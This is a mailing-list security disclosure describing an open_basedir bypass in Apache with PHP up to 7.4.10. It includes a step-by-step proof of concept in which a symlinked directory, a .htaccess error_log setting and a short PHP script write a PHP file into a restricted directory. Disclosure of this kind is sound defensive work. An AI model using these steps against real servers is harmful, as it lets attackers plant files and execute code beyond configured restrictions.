[<prev] [next>] [day] [month] [year] [list]
Message-ID: <emhIOMW1by5zKGvn1A33fxs2tjH-uFZLnjxdvjNdtX3aXQdAZ_YCxKfPJmbE8pjC4RcrxLCicHjPGPElA6yT29oq-K09pqSZ7ebXukctKHM=@protonmail.com>
Date: Thu, 17 Sep 2020 02:41:22 +0000
From: Havijoori <havijoori@...tonmail.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Apache + PHP <= 7.4.10 open_basedir bypass
Introduction
============
open_basedir security feature can be bypassed when Apache web server runs PHP scripts.
Proof of Concept
================
1. Set open_basedir as a security feature in php.ini file :
open_basedir = /var/www/html:/tmp
2. Make a directory with the name of your web server's home directory inside your web server's home directory :
mkdir -p /var/www/html/var/www/html
3. Make a symlink to a restricted writable directory inside this new directory :
ln -s /home/havijoori/www/uploads /var/www/html/var/www/html/test
4. Make a .htaccess file in your web server's root directory to set php value :
php_value error_log "var/www/html/test/hacked.php"
5. Make a PHP script, "bypass.php" in your web server's root directory to exploit the vulnerability :
<?php error_log("<?php phpinfo(); ?>"); ?>
6. Call the script :
curl http://webserver/bypass.php
7. After successful exploitation, our file "hacked.php" should be created in the restricted directory :
ls /home/havijoori/www/uploads/hacked.php
Tested with PHP 5.2.5 and 7.x.
Similar to CVE-2007-3378.
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
